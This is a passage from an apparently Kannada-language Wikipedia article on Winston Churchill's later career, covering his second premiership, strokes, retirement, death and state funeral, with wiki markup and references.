ಅವಧಿಯ ನಂತರದ ರಾಷ್ಟ್ರೀಯ ಸರ್ಕಾರ ಮತ್ತು ೧೯೪೫ ರ ಸಂಕ್ಷಿಪ್ತ ತಾತ್ಕಾಲಿಕ ಸರ್ಕಾರ - ಎಪ್ರಿಲ್ ೧೯೫೫ರಲ್ಲಿ ಅವರ ರಾಜೀನಾಮೆಯವರೆಗೂ ಮುಂದುವರೆಯಲ್ಪಟ್ಟಿತು. ಅವರ ಕೊನೆಯ ಸರ್ಕಾರದ ಅವಧಿಯಲ್ಲಿ ಸ್ಥಳೀಯ ಆದ್ಯತೆಗಳು ಹಲವಾರು ಸರಣಿ ವಿದೇಶಿ ಪಾಲಿಸಿ ಸಮಸ್ಯೆಗಳ ಕಾರಣದಿಂದಾಗಿ ಅವನತಿಗೊಳಗಾಗಲ್ಪಟ್ಟವು, ಅವುಗಳು ಬ್ರಿಟೀಷ್ ಮಿಲಿಟರಿಯ ಅವನತಿ ಮತ್ತು ಸಾಮ್ರಾಜ್ಯಷಾಹಿ ಘನತೆ ಮತ್ತು ಅಧಿಕಾರದ ನಿರಂತರತೆಯ ಭಾಗಶಃ ಪರಿಣಾಮಗಳಾಗಿದ್ದವು. ಒಂದು ಅಂತರಾಷ್ಟ್ರೀಯ ಅಧಿಕಾರವಾಗಿ ಬ್ರಿಟನ್‌ನ ಪ್ರಬಲ ಪ್ರತಿಸ್ಪರ್ಧಿಯಾಗಿ ಚರ್ಚಿಲ್ ಅನೇಕವೇಳೆ ನೇರವಾದ ಕಾರ್ಯದ ಜೊತೆಗೆ ಅಂತಹ ಪ್ರಸಂಗಗಳನ್ನು ಸಂಧಿಸುತ್ತಿದ್ದರು. ಇದರ ಒಂದು ಉದಾಹರಣೆಯೆಂದರೆ ಮೌ ಮೌ ದಂಗೆಯ ಜೊತೆಗೆ ಕಾರ್ಯನಿರ್ವಹಿಸುವುದಕ್ಕೆ [[ಕೀನ್ಯಾ|ಕೀನ್ಯಾಕ್ಕೆ]] ಅವರ ಬ್ರಿಟೀಷ್ ತುಕಡಿಗಳ ಕಳಿಸುವಿಕೆಯಾಗಿತ್ತು.<ref name="Jenkins p843">ಜೆನ್ಕಿನ್ಸ್ ಪಪು. ೮೪೩–೬೧</ref> ಅಧಿಪತಿಯಾಗಿ ಮುಂದುವರೆಯುವುದಕ್ಕೆ ನಡೆಸಿದ ಪ್ರಯತ್ನದಲ್ಲಿ ಅವರು ಒಮ್ಮೆ ಈ ರೀತಿ ಹೇಳಿದ್ದರು, "ನಾನು ಒಂದು ವಿಭಜನೆಯ ಅಧ್ಯಕ್ಷತೆಯನ್ನು ವಹಿಸುವುದಿಲ್ಲ."<ref name="Jenkins p843" /> ===ಮಾಲಯಾದಲ್ಲಿ ಯುದ್ಧ === ಇದು ಮಾಲಯನ್ ಎಮರ್ಜೆನ್ಸ್ ಎಂದು ಕರೆಯಲ್ಪಟ್ಟ ಘಟನೆಗಳ ನಂತರ ಸಂಭವಿಸಲ್ಪಟ್ಟಿತು. ಮಾಲಯಾದಲ್ಲಿ, ಬ್ರಿಟೀಷ್ ಅಧಿಕಾರದ ವಿರುದ್ಧ ಒಂದು ದಂಗೆಯು ೧೯೪೮ ರಿಂದಲೇ ಪ್ರಗತಿಯಲ್ಲಿತ್ತು.<ref name="Malaya" /> ಮತ್ತೊಮ್ಮೆ, ಚರ್ಚಿಲ್‌ರ ಸರ್ಕಾರವು ಒಂದು ಸಮಸ್ಯೆಯನ್ನು ಎದುರಿಸಿತು, ಮತ್ತು ಚರ್ಚಿಲ್ ದಂಗೆಯಲ್ಲಿ ತೊಡಗಿಕೊಂಡಿರದವರ ಜೊತೆಗೆ ಮೈತ್ರಿಯನ್ನು ಮಡಿಕೊಳ್ಳುವ ಒಂದು ಪ್ರಯತ್ನದಲ್ಲಿ ದಂಗೆಯಲ್ಲಿ ಕಾರ್ಯನಿರತರಾದವರ ವಿರುದ್ಧ ನೇರವಾದ ಮಿಲಿಟರಿ ಕಾರ್ಯಾಚರಣೆಯನ್ನು ಆಯ್ಕೆಮಾಡಿಕೊಂಡರು.<ref name="gilbert" /><ref name="Stubbs">{{cite book|last=Stubbs|first=Richard|title=Hearts and Minds in Guerilla Warfare: The Malayan Emergency 1948–1960|publisher=Eastern University|year=2001|location=New York|id=981210352X }}</ref> ದಂಗೆಯು ನಿಧಾನವಾಗಿ ಕೊನೆಗೊಳ್ಳುತ್ತಿದ ಸಮಯದಲ್ಲಿ, ಬ್ರಿಟನ್‌ನಿಂದ ವಸಾಹತುಷಾಹಿ ಅಧಿಕಾರವು ದೀರ್ಘ ಅವಧಿಯವರೆಗೆ ಉಳಿದುಕೊಳ್ಳುವಂತದ್ದಲ್ಲ ಎಂಬುದು ಸುಸ್ಪಷ್ಟವಾಗಿತ್ತು.<ref name="Malaya">{{cite book|last=Harper|first=T.N.|title=The End of Empire and the Making of Malaya|publisher=Cambridge University Press|year=2001|location=London|isbn=978-0-521-00465-7}}</ref><ref name="Empire2">{{cite book|last=Ferguson|first=Niall|title=Empire: How Britain Made the Modern World|publisher=Penguin Books Ltd|year=2000|location=London|isbn=978-0-14-100754-0}}</ref> ===ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್ ಜೊತೆಗಿನ ಸಂಬಂಧಗಳು=== ಚರ್ಚಿಲ್ ತಮ್ಮ ಹೆಚ್ಚಿನ ಸಮಯವನ್ನು ಆಂಗ್ಲೋ-ಅಮೇರಿಕನ್ ಸಂಬಂಧಗಳನ್ನು ಸುಧಾರಿಸುವುದಕ್ಕೆ ಮೀಸಲಾಗಿರಿಸಿದ್ದರು ಮತ್ತು, ಚರ್ಚಿಲ್ ಎಲ್ಲಾ ಸಮಯದಲ್ಲಿಯೂ ಅಧ್ಯಕ್ಷ ಡ್ವೈಟ್ ಡಿ. ಈಸೆನ್‌ಹೋವರ್‌ರ ನಿರ್ಣಯಗಳ ಜೊತೆಗೆ ಸಹಮತವನ್ನು ಹೊಂದಿಲ್ಲದಿದ್ದರೂ ಕೂಡ,<ref>{{Cite book|year=1993|title=Churchill|author1=Robert Blake|author2=William Roger Louis|editor1=Robert Blake|editor2=William Roger Louis|publisher=W. W. Norton &amp; Company|isbn=9780393034097|page=405|url=https://books.google.com/?id=pVEWPfBLNxkC&pg=PA405}}</ref> ಅವರು ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್ ಜೊತೆಗೆ ಒಂದು ''ವಿಶಿಷ್ಟವಾದ ಸಂಬಂಧ'' ವನ್ನು ನಿರ್ವಹಿಸುವ ಪ್ರಯತ್ನವನ್ನು ನಡೆಸಿದರು. ಅವರು ಪ್ರಧನಿಯಾಗಿ ತಮ್ಮ ಎರಡನೆಯ ಅವಧಿಯಲ್ಲಿ ಅಮೇರಿಕಾಕ್ಕೆ ನಾಲ್ಕು ವಿಧ್ಯುಕ್ತ ಅಟ್ಲಾಂಟಿಕ್ ಆಚೆಯ ಭೆಟಿಗಳನ್ನು ಮಾಡಿದರು.<ref>ಜೆನ್ಕಿನ್ಸ್ ಪುಟ. ೮೪೭</ref> ===ಪಾರ್ಶ್ವವಾಯುಗಳ ಸರಣಿ ಆಘಾತ=== ಚರ್ಚಿಲ್ ೧೯೪೯ ರ ಬೇಸಗೆಯಲ್ಲಿ ಫ್ರಾನ್ಸ್‌ನ ದಕ್ಷಿಣ ಭಾಗದಲ್ಲಿ ರಜವನ್ನು ಕಳೆಯುತ್ತಿದ್ದ ಸಮಯದಲ್ಲಿ ಲಘು ಆಘಾತಕ್ಕೆ ಒಳಗಾದರು. ಅವರಿಗೆ ೭೮ ವರ್ಷವಾಗಿದ್ದಾಗ ಜೂನ್ ೧೯೫೩ ರಲ್ಲಿ, ಚರ್ಚಿಲ್ ೧೦ ಡೌನಿಂಗ್ ಸ್ಟ್ರೀಟ್‌ನಲ್ಲಿ ತೀವ್ರವಾದ ಪಾರ್ಶ್ವವಾಯುವಿನ ಆಘಾತಕ್ಕೆ ಒಳಗಾದರು. ಇದರ ಬಗೆಗಿನ ಸುದ್ದಿಯು ಸಾರ್ವಜನಿಕರಿಂದ ಮತ್ತು ಸಂಸತ್ತಿನಿಂದ ಗೋಪ್ಯವಾಗಿರಿಸಲಾಗಿತ್ತು, ಅವರಿಗೆ ಚರ್ಚಿಲ್ ನಿಶ್ಯಕ್ತಿಯಿಂದ ಬಳಲುತ್ತಿದ್ದಾರೆ ಎಂಬುದಾಗಿ ತಿಳಿಸಲಾಗಿತ್ತು. ಅವರು ತಮ್ಮ ಮಾತು ಮತ್ತು ನಡೆಯುವಿಕೆಯ ಶಕ್ತಿಯ ಮೇಲೆ ಪರಿಣಾಮವನ್ನು ಬೀರಿದ್ದ ಪರ್ಶ್ವವಾಯುವಿನ ಆಘಾತದಿಂದ ಚೇತರಿಸಿಕೊಳ್ಳುವುದಕ್ಕೆ ತಮ್ಮ ಸ್ವದೇಶ ಚಾರ್ಟ್‌ವೆಲ್‌ಗೆ ಹೋದರು.<ref name="gilbert" /> ಅವರು ಅಕ್ಟೋಬರ್‌ನಲ್ಲಿ ಮಾರ್ಗೇಟ್‌ನಲ್ಲಿ ಒಂದು ಕನ್ಸರ್ವೇಟೀವ್ ಪಾರ್ಟಿ ಸಭೆಯಲ್ಲಿ ಭಾಷಣ ಮಾಡುವ ಮೂಲಕ ಸಾರ್ವಜನಿಕ ಜೀವನಕ್ಕೆ ವಾಪಸಾದರು.<ref name="gilbert" /><ref>ಜೆನ್ಕಿನ್ಸ್ , ಪಪು. ೮೬೮–೭೧</ref> ಆದಾಗ್ಯೂ, ಭೌತಿಕವಾಗಿ ಮತ್ತು ಮಾನಸಿಕವಾಗಿ ಶಕ್ತಿಯನ್ನು ಕಳೆದುಕೊಳ್ಳುತ್ತಿದ್ದೇನೆ ಎಂಬುದರ ಬಗ್ಗೆ ಪ್ರಜ್ಞೆಯನ್ನು ಹೊಂದಿದ್ದ ಚರ್ಚಿಲ್ ೧೯೫೫ರಲ್ಲಿ ಪ್ರಧಾನ ಮಂತ್ರಿ ಸ್ಥಾನವನ್ನು ತ್ಯಜಿಸಿದರು ಮತ್ತು ಈ ಸ್ಥಾನವು ಆಂಥನಿ ಈಡನ್‌ರಿಂದ ಮುಂದುವರೆಸಿಕೊಂಡು ಹೋಗಲ್ಪಟ್ಟಿತು. ಡಿಸೆಂಬರ್ರ ೧೯೫೬ ಲ್ಲಿ ಅವರು ಮತ್ತೊಂದು ಲಘು ಅಘಾತಕ್ಕೆ ಒಳಗಾದರು. ==ನಿವೃತ್ತಿ ಮತ್ತು ಮರಣ== [[File:Chartwell02.JPG|thumb|ಚರ್ಚಿಲ್‌ ತಮ್ಮ ವಿಶ್ರಾಂತ ಜೀವನದ ಬಹುಪಾಲನ್ನು ಕೆಂಟ್‌ನಲ್ಲಿರುವ ತಮ್ಮ ಮನೆ ಚಾರ್ಟ್‌ವೆಲ್‌ನಲ್ಲಿ ಕಳೆದರು.1922 ರಲ್ಲಿ ಮಗಳು ಮೇರಿ ಜನಿಸಿದ ನಂತರದಲ್ಲಿ ಇದನ್ನು ಖರೀದಿಸಿದ್ದರು.]] [[ಎರಡನೇ ಎಲಿಜಬೆಥ್|ಎಲಿಜಬೆತ್ II]] ಚರ್ಚಿಲ್‌ರಿಗೆ ಡ್ಯೂಕ್ ಆಫ್ ಲಂಡನ್ ಅನ್ನು ನಿರ್ಮಿಸುವುದಕ್ಕೆ ಆಹ್ವಾನವನ್ನು ನೀಡಿದರು, ಆದರೆ ಇದು ಅವರ ಮಗ ರಾಂಡೋಲ್ಫ್‌ರ ಪ್ರತಿರೋಧದ ಕಾರಣಗಳಿಂದಾಗಿ ಅವನತಿಗೊಳಗಾಗಲ್ಪಟ್ಟಿತು, ರಾಂಡೋಲ್ಫ್‌ ತಮ್ಮ ತಂದೆಯ ಮರಣದ ನಂತರ ಅಧಿಪತ್ಯಕ್ಕೆ ಬಂದರು.<ref>ರೋಸರ್, ಪುಟ. ೨೦೫</ref> ಪ್ರಧಾನಿ ಹುದ್ದೆಯನ್ನು ತ್ಯಜಿಸಿದ ನಂತರ ಚರ್ಚಿಲ್ ೧೯೬೪ ರ ಸಾಮಾನ್ಯ ಚುನಾವಣೆಗೆ ನಿಲ್ಲುವವರೆಗೂ ಸಂಸತ್ತಿನಲ್ಲಿ ಅತ್ಯಂತ ಕಡಿಮೆ ವೇಳೆಯನ್ನು ಕಳೆದರು. ಒಬ್ಬ "ಬ್ಯಾಕ್-ಬೆಂಚರ್" ಆಗಿ ಚರ್ಚಿಲ್ ತಮ್ಮ ನಿವೃತ್ತಿ ಜೀವನದ ಹೆಚ್ಚಿನ ಸಮಯವನ್ನು ಚಾರ್ಟ್‌ವೆಲ್ ಮತ್ತು ಲಂಡನ್‌ನ ಹೈಡ್ ಪಾರ್ಕ್ ಗೇಟ್‌ನಲ್ಲಿನ ತಮ್ಮ ನಿವಾಸದಲ್ಲಿ ಕಳೆದರು.<ref name="gilbert" /> ೧೯೫೯ ರ ಸಾಮಾನ್ಯ ಚುನಾವಣೆಯಲ್ಲಿ ಚರ್ಚಿಲ್‌ರ ಬಹುಮತವು ಒಂದು ಸಾವಿರಕ್ಕಿಂತಲೂ ಹೆಚ್ಚಿಗೆ ಅಂತರಕ್ಕಿಂತ ಕೆಳಗೆ ಇತ್ತು, ಏಕೆಂದರೆ ಅವರ ಕ್ಷೇತ್ರದ ಹೆಚ್ಚಿನ ಯುವ ಮತದಾರರು ೮೫-ವರ್ಷ-ವಯಸ್ಸಿನ ಕೇವಲ ಒಂದು ಗಾಲಿ ಕುರ್ಚಿಯ (ವೀಲ್ ಚೇರ್) ಸಹಾಯದಿಂದ ಮಾತ್ರ ಹೌಸ್ ಆಫ್ ಕಾಮನ್ಸ್ ಅನ್ನು ಪ್ರವೇಶಿಸುವ ವ್ಯಕ್ತಿಗೆ ಬೆಂಬಲವನ್ನು ನೀಡುತ್ತಿರಲಿಲ್ಲ. ಅವರ ಬೌದ್ಧಿಕ ಮತ್ತು ಭೌತಿಕ ಆಡಳಿತ ಸಾಮರ್ತ್ಯಗಳು ಕ್ಷೀಣಿಸಿದಂತೆ, ಅವರು ಅವರತಿಯ "ಬ್ಲ್ಯಾಕ್ ಡಾಗ್" ನ ವಿರುದ್ಧ ದೀರ್ಘ ಅವಧಿಯಿಂದ ಹೋರಾಡಿದ ಕ್ಷೇತ್ರದಲ್ಲಿ ಸೋಲನ್ನು ಅನುಭವವನ್ನು ಕಂಡರು.<ref name="gilbert" /> ಚರ್ಚಿಲ್ ತಮ್ಮ ಜೀವನದ ಕೊನೆಯ ದಿನಗಳಲ್ಲಿ ಆಲ್ಜಮೈರ್‌ರ ರೋಗವನ್ನು ಹೊಂದಿದ್ದರು ಎಂಬ ಒಂದು ಊಹೆಯೂ ಅಸ್ತಿತ್ವದಲ್ಲಿದೆ, ಆದಾಗ್ಯೂ ಅವರ ಮಾನಸಿಕ ಸಾಮರ್ಥ್ಯವು ಸರಣಿ ಆಘಾತಗಳ (ಪಾರ್ಶ್ವವಾಯು) ಕಾರಣದಿಂದಾಗಿ ಕ್ಷೀಣಿಸಿತು ಎಂಬುದಾಗಿ ಇತರರು ವಾದಿಸುತ್ತಾರೆ. ೧೯೬೩ ರಲ್ಲಿ, ಕಾಂಗ್ರೆಸ್‌ನ ಒಂದು ಶಾಸನದ ಮೂಲಕ ಪಡೆದುಕೊಂಡ ಒಂದು ಅಧಿಕಾರದ ಅಡಿಯಲ್ಲಿ ಕಾರ್ಯನಿರ್ವಹಿಸುತ್ತಿದ್ದ ಯುಎಸ್ ಅಧ್ಯಕ್ಷ [[ಜಾನ್ ಎಫ್.ಕೆನೆಡಿ|ಜಾನ್ ಎಫ್. ಕೆನಡಿ]] ಚರ್ಚಿಲ್‌ರನ್ನು ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್‌ನ ಗೌರವಾನ್ವಿತ ನಾಗರಿಕ ಎಂಬುದಾಗಿ ಘೋಷಿಸಿದರು, ಆದರೆ ಅವರು ಶ್ವೇತ ಭವನದ ಉತ್ಸವದ ಆಚರಣೆಗೆ ಹಾಜರಾಗುವುದಕ್ಕೆ ಅಸಮರ್ಥರಾಗಿದ್ದರು.<ref name="jenkins911" /> ತಮ್ಮ ಅನಾರೋಗ್ಯದ ಹೊರತಾಗಿಯೂ ಚರ್ಚಿಲ್ ಸಾರ್ವಜನಿಕ ಜೀವನದಲ್ಲಿ ಕ್ರಿಯಾಶೀಲವಾಗಿರುವ ಪ್ರಯತ್ನವನ್ನು ನಡೆಸಿದರು, ಮತ್ತು ೧೯೬೪ ರ ಸೇಂಟ್ ಜಾರ್ಜ್‌ರ ದಿನದಲ್ಲಿ ಅವರು ೧೯೧೮ ರ ಜೀಬ್ರಗ್ ರೇಡ್‌ (ಅನಿರೀಕ್ಷಿತ ಧಾಳಿ) ನಲ್ಲಿ ಉಳಿದುಕೊಂಡ ಯೋಧರಿಗೆ ಅಭಿನಂದನೆಯ ಒಂದು ಸಂದೇಶವನ್ನು ಕಳಿಸಿದರು, ಈ ಯೋಧರು ಡೀಲ್, ಕೆಂಟ್‌ನಲ್ಲಿ ಸೇವೆಯ ಒಂದು ಸ್ಮರಣೆಯನ್ನು ಆಚರಿಸುತ್ತಿದ್ದ ಸಂದರ್ಭದಲ್ಲಿ ಹ್ಯಾಮಿಲ್ಟನ್ ರೋಡ್ ಸಿಮೆಟ್ರಿಯಲ್ಲಿ ಎರಡು ಅನಿರೀಕ್ಷಿತ ಧಾಳಿಗಳು ಸಂಭವಿಸಿ ಯೋಧರು ಮೃತರಾಗಿದ್ದರು. ೧೫ ಜನವರಿ ೧೯೬೫ ರಂದು ಚರ್ಚಿಲ್ ಒಂದು ತೀವ್ರವಾದ ಪಾರ್ಶ್ವವಾಯುವಿನ ಆಘಾತಕ್ಕೆ ಒಳಗಾದರು, ಅದು ಅವರನ್ನು ಗಂಭೀರವಾಗಿ ಅಸ್ವಸ್ಥವಾಗುವಂತೆ ಮಾಡಿತು. ಅದರ ಒಂಭತ್ತು ದಿನಗಳ ನಂತರ ತಮ್ಮ ೯೦ ನೆಯ ವರ್ಷದಲ್ಲಿ ೨೪ ಜನವರಿ ೧೯೬೫ ರಂದು ತಮ್ಮ ತಂದೆಯ ಮರಣದ ೭೦ ವರ್ಷಗಳ ನಂತರ ತಮ್ಮ ನಿವಾಸದಲ್ಲಿ ಮರಣವನ್ನು ಹೊಂದಿದರು.<ref name="jenkins911">ಜೆನ್ಕಿನ್ಸ್ , ಪುಟ. ೯೧೧</ref> ===ಅಂತ್ಯಕ್ರಿಯೆ=== [[File:Churchills Grave.jpg|thumb|left|ಬ್ಲಾಡೋನ್, ಸೇಂಟ್ ಮಾರ್ಟೀನ್ ಚರ್ಚ್‌ನಲ್ಲಿ ಚರ್ಚಿಲ್‌'‌ರ ಸಮಾಧಿ]] ರಾಣಿಯ ಶಾಸನದ ಮೂಲಕ, ಅವರ ದೇಹವು ಮೂರು ದಿನಗಳವರೆಗೆ ರಾಜ್ಯದಲ್ಲಿ ಇರಿಸಲ್ಪಟ್ಟಿತು ಮತ್ತು ಸೇಂಟ್ ಪೌಲ್‌ರ ಕ್ಯಾಥಡ್ರಲ್‌ನಲ್ಲಿ ಒಂದು ರಾಜ್ಯ ಅಂತ್ಯಕ್ರಿಯೆ ಸೇವೆಯು ನಡೆಸಲ್ಪಟ್ಟಿತು.<ref>ಪಿಕ್‌ನೆಟ್, ಇತ್ಯಾದಿ, ಪುಟ. ೨೫೨</ref> ವಿಶೇಷವಾಗಿ, ರಾಣಿಯು ಅಂತ್ಯಕ್ರಿಯೆಯ ಸಂದರ್ಭದಲ್ಲಿ ಉಪಸ್ಥಿತಳಿದ್ದಳು.<ref>[http://www.bbc.co.uk/archive/churchill/11024.shtml ರಿಮೆಂಬರಿಂಗ್ ವಿನ್‌ಸ್ಟನ್ ಚರ್ಚಿಲ್: ದ ಸ್ಟೇಟ್ ಫ್ಯುನರಲ್ ಆಫ್ ಸರ್ ವಿನ್‌ಸ್ಟನ್ ಚರ್ಚಿಲ್,ಭಾಗ 2], ಬಿಬಿಸಿ ಅರ್ಕೈವ್, ೫ ಮಾರ್ಚ್ ೨೦೧೧ರಂದು ಪಡೆದದ್ದು</ref> ಅವರ [[ಸೀಸ|ಲೆಡ್]]-ಲೈನ್‌ಡ್ ಶವಪೆಟ್ಟಿಗೆಯು ''ಹೆವೆಂಗೋರ್‌'' ನ ಮೇಲೆ ಟವರ್ ಪಿಯರ್‌ನಿಂದ ಫೆಸ್ಟಿವಲ್ ಪಿಯರ್‌ವರೆಗೆ ಥೇಮ್ಸ್ ನದಿಯ ಮೂಲಕ ಸಾಗಿದಂತೆ, ಹಡಗುಕಟ್ಟೆಯ ಕೂಲಿ ಆಳುಗಳು ಅವರಿಗೆ ಗೌರವಾರ್ಥವಾಗಿ ತಮ್ಮ ಕ್ರೇನ್‌ಗಳ ಚಾಚುತೋಳನ್ನು ಕೆಳಕ್ಕಿಳಿಸಿದರು.<ref>{{cite web|url=http://www.portcities.org.uk/london/server/show/ConFactFile.29/Winston-Churchill.html|title=Winston Churchill (1874–1965)|publisher=PortCities London|accessdate=12 January 2008|archive-date=20 ಜನವರಿ 2008|archive-url=https://web.archive.org/web/20080120191436/http://www.portcities.org.uk/london/server/show/ConFactFile.29/Winston-Churchill.html|url-status=dead}}</ref> ರಾಯಲ್ ಆರ್ಟಿಲರಿಯು೧೯-ಗನ್ ಸಲ್ಯೂಟ್ ಅನ್ನು ಹಾರಿಸಿತು (ಸರ್ಕಾರದ ಮುಖ್ಯಸ್ಥ ವಿಭಾಗವಾಗಿ), ಮತ್ತು ಆರ್‌ಎ‌ಎಫ್ ಹದಿನಾರು ಇಂಗ್ಲೀಷ್ ಎಲೆಕ್ಟ್ರಿಕ್ ಲೈಟನಿಂಗ್ ಫೈಟರ್‌ಗಳ ಒಂದು ಫ್ಲೈ-ಬೈ ಅನ್ನು ಪ್ರದರ್ಶಿಸಿತು. ನಂತರದಲ್ಲಿ ಶವಪೆಟ್ಟಿಗೆಯು ವಾಟರ್‌ಲೂ ಸ್ಟೇಷನ್‌ನ ಹತ್ತಿರಕ್ಕೆ ತೆಗೆದುಕೊಂಡು ಹೋಗಲ್ಪಟ್ಟಿತು, ಅಲ್ಲಿ ಅದು ಬ್ಲ್ಯಾಡನ್‌ಗೆ ರೈಲಿನ ಮುಖಾಂತರದ ಪ್ರಯಾಣಕ್ಕಾಗಿ ಅಂತ್ಯಕ್ರಿಯೆಯ ರೈಲಿನ ಒಂದು ಭಾಗವಾಗಿ ವಿಶಿಷ್ಟವಾಗಿ ತಯಾರಿಸಲ್ಪಟ್ಟ ಮತ್ತು ಬಣ್ಣ ಬಳಿಯಲ್ಪಟ್ಟ ಒಂದು ಭೋಗಿಯಲ್ಲಿ ಇರಿಸಲ್ಪಟ್ಟಿತು.<ref>[http://www.swanagerailway.co.uk/news319.htm ವಿನ್‌ಸ್ಟನ್ ಚರ್ಚಿಲ್ಸ್ ಪ್ಯುನರಲ್ ವಾನ್ ಪ್ರೊಜೆಕ್ಟ್] {{Webarchive|url=https://web.archive.org/web/20080723161106/http://www.swanagerailway.co.uk/news319.htm |date=2008-07-23 }} ಸ್ವಾನೇಜ್ ರೇಲ್ವೆ ನ್ಯೂಸ್ ೨೦೦೬</ref> ಈ ಅಂತ್ಯಕ್ರಿಯೆಯು ಜಗತ್ತಿನಲ್ಲಿ ಅತ್ಯಂತ ಹೆಚ್ಚು ಹೆಚ್ಚು ಜನರು ಪಾಲ್ಗೊಂಡ ಒಂದು ಬೃಹತ್ ಜನಸಮೂಹದ ಕಾರ್ಯವಾಗಿತ್ತು.<ref>[http://news.bbc.co.uk/1/hi/world/europe/4421081.stm ಲಾರ್ಜೆಸ್ಟ್ ಅಸೆಂಬ್ಲೇಜ್ ಆಫ್ ಸ್ಟೇಟ್ಸ್ಮೆನ್ ಎಟ್ ಫ್ಯುನರಲ್ ಸಿನ್ಸ್ ಚರ್ಚಿಲ್‌], ಬಿಬಿಸಿ ನ್ಯೂಸ್, ೨೦೦೫</ref> ಅವರ ಕುಟುಂಬದ ಶೋಕತಪ್ತರನ್ನು ಕರೆದೊಯ್ಯುತ್ತಿದ್ದ ಪುಲ್‌ಮನ್ ಭೋಗಿಗಳ ಅಂತ್ಯಕ್ರಿಯೆಯ ರೈಲು ಬುಲೀಡ್ ಪೆಸಿಫಿಕ್ ಸ್ಟೀಮ್ ಲೋಕೋಮೋಟೀವ್ ಸಂಖ್ಯೆ ೩೪೦೫೧ "ವಿನ್‌ಸ್ಟನ್‌ ಚರ್ಚಿಲ್‌" ಮೂಲಕ ಸಾಗಿಸಲ್ಪಟ್ಟಿತು. ದಾರಿಮಧ್ಯದ ಪ್ರದೇಶಗಳಲ್ಲಿ, ಮತ್ತು ರೈಲು ಸಾಗುತ್ತಿದ್ದ ಇತರ ನಿಲ್ದಾಣಗಳಲ್ಲಿ ಹಲವಾರು ಸಾವಿರ ಜನರು ಚರ್ಚಿಲ್‌ಗೆ ತಮ್ಮ ಅಂತಿಮ ನಮನವನ್ನು ಸಲ್ಲಿಸುವುದಕ್ಕಾಗಿ ಶಾಂತರಾಗಿ ನಿಂತಿದ್ದರು. ಚರ್ಚಿಲ್‌ರ ವಿನಂತಿಯ ಮೇರೆಗೆ, ಅವರನ್ನು ಅವರ ಹುಟ್ಟೂರಾದ ಬ್ಲೆನ್ಹೈಮ್ ಅರಮನೆಗಿಂತ ಹೆಚ್ಚು ದೂರದ್ದಲ್ಲದ, ವುಡ್‌ಸ್ಟಾಕ್‌ನ ಬಳಿ ಅವರ ಕುಟುಂಬದ ಪ್ರದೇಶವಾದ ಸೇಂಟ್ ಮಾರ್ಟಿನ್‌ರ ಚರ್ಚ್, ಬ್ಲ್ಯಾಡನ್‌‌ನಲ್ಲಿ ಸಮಾಧಿ ಮಾಡಲಾಯಿತು. ಚರ್ಚಿಲ್‌ರ ಅಂತ್ಯಕ್ರಿಯೆಯ ವಾಹನ - ದಕ್ಷಿಣ ರೈಲ್ವೇ ವ್ಯಾನ್ S೨೪೬೪S - ಇದು ಪ್ರಸ್ತುತದಲ್ಲಿ ಸ್ವಾನೇಜ್ ರೈಲ್ವೇಯ ಜೊತೆಗಿನ ಒಂದು ಸಂರಕ್ಷಣಾ ಯೋಜನೆಯ ಒಂದು ಭಾಗವಾಗಿದೆ, ಇದು ೨೦೦೭ ರಲ್ಲಿ ಯುಎಸ್ ನಿಂದ ಯು.ಕೆ. ಗೆ ವಾಪಸು ನಿಡಲ್ಪಟ್ಟಿತು, ಅಂದರೆ ೧೯೬೫ ರಲ್ಲಿ ಇದು ರಫ್ತು ಮಾಡಲ್ಪಟ್ಟ ಪ್ರದೇಶಕ್ಕೆ ವಾಪಸು ನಿಡಲ್ಪಟ್ಟಿತು.<ref>[http://www.swanagerailway.co.uk/news475.htm ವಿನ್‌ಸ್ಟನ್ ಚರ್ಚಿಲ್ಸ್ ಫ್ಯುರಲ್ ವಾನ್ ಡಿನೈಡ್ ಲಾಟರಿ ಫಂಡಿಂಗ್ ] {{Webarchive|url=https://web.archive.org/web/20090122204911/http://www.swanagerailway.co.uk/news475.htm |date=2009-01-22 }} ಸ್ವಾನೇಜ್ ರೇಲ್ವೆ ನ್ಯೂಸ್ ೨೦೦೮</ref> ನಂತರ ೧೯೬೫ ರಲ್ಲಿ, ಕೆತ್ತನೆಗಾರ ರೇನಾಲ್ಡ್ ಸ್ಟೋನ್‌ರಿಂದ ನಿರ್ಮಿಸಲ್ಪಟ್ಟ ಚರ್ಚಿಲ್‌ರಿಗೆ ಒಂದು ಸ್ಮಾರಕವು ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಅಬ್ಬೇಯ್‌ನಲ್ಲಿ ಇರಿಸಲ್ಪಟ್ಟಿತು. ==ಕಲಾಕಾರ, ಇತಿಹಾಸಕಾರ, ಮತ್ತು ಬರಹಗಾರರಾಗಿ ಚರ್ಚಿಲ್== [[File:ChurchillRooseveltNewBondStreet.jpg|thumb|ಲಂಡನ್‌ನ ನ್ಯೂ ಬಾಂಡ್ ಸ್ಟ್ರೀಟ್‌ನಲ್ಲಿ ಚರ್ಚಿಲ್‌ ಮತ್ತು ಫ್ರ್ಯಾಂಕ್ಲಿನ್ ಡಿ ರೂಸ್ವೆಲ್ಟ್ ಪ್ರತಿಮೆ]] {{Main|Winston Churchill as historian|Winston Churchill as writer}} ವಿನ್‌ಸ್ಟನ್‌ ಚರ್ಚಿಲ್‌ ಒಬ್ಬ ಸಂಪೂರ್ಣ ಕಲಾಕಾರರಾಗಿದ್ದರು ಮತ್ತು ಅವರು ೧೯೧೫ ರಲ್ಲಿ ಫರ್ಸ್ಟ್ ಲಾರ್ಡ್ ಆಫ್ ಅಡ್ಮಿರಲ್ಟಿ ಸ್ಥಾನದಿಂದ ತಮ್ಮ ರಾಜೀನಾಮೆಯನ್ನು ನೀಡಿದ ನಂತರದಲ್ಲಿ ಚಿತ್ರಕಲೆಯಲ್ಲಿ ಹೆಚ್ಚಿನ ಆಸಕ್ತಿಯನ್ನು ಹೊಂದಿದ್ದರು.<ref>ಜೆನ್ಕಿನ್ಸ್ ಪು. ೨೭೯</ref> ಅವರು ನಿರುತ್ಸಾಹದ ಜೀವನವನ್ನು ಅಥವಾ ಅವರು ತಮ್ಮ ಜೀವನದುದ್ದಕ್ಕೂ ಅನುಭವಿಸಿದ "ಬ್ಲಾಕ್ ಡಾಗ್" ಎಂದು ಅವರು ಕರೆದ ಒಮ್ದು ಸ್ಥಿತಿಯನ್ನು ಹಿಮ್ಮೆಟ್ಟಿಸುವುದಕ್ಕೆ ಕಲೆಯಲ್ಲಿ 